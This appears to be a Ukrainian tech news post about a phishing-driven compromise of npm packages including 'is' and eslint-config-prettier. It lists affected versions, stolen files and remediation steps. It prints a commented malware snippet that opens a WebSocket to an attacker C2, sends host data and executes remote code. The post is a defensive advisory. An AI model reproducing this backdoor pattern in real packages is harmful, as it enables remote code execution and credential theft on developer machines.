Популярний npm пакет ’is’ було скомпрометовано
Вчора стало відомо про один з наймаштабніших зламів у JS екосистемі. Пакет is, який щотижня завантажують понад 2.8 мільйони разів, було скомпроментовано. Це частина ширшої фішингової кампанії, яка вже зачепила низку ключових пакетів, включно з eslint-config-prettier, eslint-plugin-prettier, got-fetch, synckit та іншими.
Атака почалася з фішингового сайту-клону npnjs[.]com, який імітував справжній npmjs.com. Через нього зловмисники викрали облікові дані розробників і отримали доступ до npm-токенів, що дозволило їм публікувати заражені версії популярних пакетів.
Одним із найнебезпечніших виявився пакет eslint-config-prettier, який містив node-gyp.dll, що запускав інфостілер Scavenger. Він використовував методи обходу аналізу, викрадав дані браузерів і розробницькі файли (.npmrc, .netrc, SSH-ключі тощо).
Ще серйознішою виявилася компрометація пакету is. Він не містив DLL, а натомість мав вбудований обфускований лоадер JS JavaScript, який:
- працює кросплатформенно,
- реконструює шкідливий код у пам’яті,
- встановлює WebSocket-з’єднання з C2-сервером зловмисника,
- передає системну інформацію,
- та виконує будь-який код, надісланий зловмисником у режимі реального часу.
Приклад цього коду:
// Expose Node's `require`, even in restricted contexts (e.g., Electron)
get "switch"() { return require; }
// Load system and networking modules dynamically
const os = this["switch"]("os");
const WS = this["switch"]("ws");
// Connect to threat actor-controlled WebSocket endpoint
const sock = new WS("wss://<decoded-at-runtime-endpoint>");
// Send host fingerprinting data on connect
sock.onopen = () => sock.send(JSON.stringify({
host: os.hostname(),
plat: os.platform(),
cwd : process.cwd()
}));
// Execute threat actor-supplied code received over the socket
sock.onmessage = ({ data }) => {
new Function(data)(); // remote code execution
};
Пакет також зчитує .npmrc, віддалені Git-репозиторії, і у випадку наявності прав на запис — самовідновлюється шляхом модифікації index.js. Просте видалення node_modules недостатнє, через що треба також перегенерувати lock-файли.
Ось список заражених пакетів:
eslint-config-prettier: 8.10.1, 9.1.1, 10.1.6, 10.1.7eslint-plugin-prettier: 4.2.2, 4.2.3synckit: 0.11.9@pkgr/core: 0.2.8napi-postinstall: 0.3.1got-fetch: 5.1.11, 5.1.12is: 3.3.1, 5.0.0
Що тепер робити
- Перевірте, чи є у вас ці версії в package-lock.json або yarn.lock. Якщо так — негайно видаліть node_modules, видаліть lock-файл і встановіть залежності заново.
- Проскануйте проєкт на Indicators of Compromise:
.npmrc,.netrc,id_rsa,known_hostsмогли бути викрадені.- Перевстановіть ключі SSH та оновіть паролі.
- Встановіть захисні інструменти. Наприклад, Socket GitHub App та Safe npm CLI.
- Не оновлюйте залежності без перевірки. Це не той час, коли варто сліпо довіряти
npm install.
2 коментарі
Додати коментар Підписатись на коментаріВідписатись від коментарівnpnjs похожий на npmjs это жесть, но сработало. Странно шо не було новостей на дргухих сайтах
🙈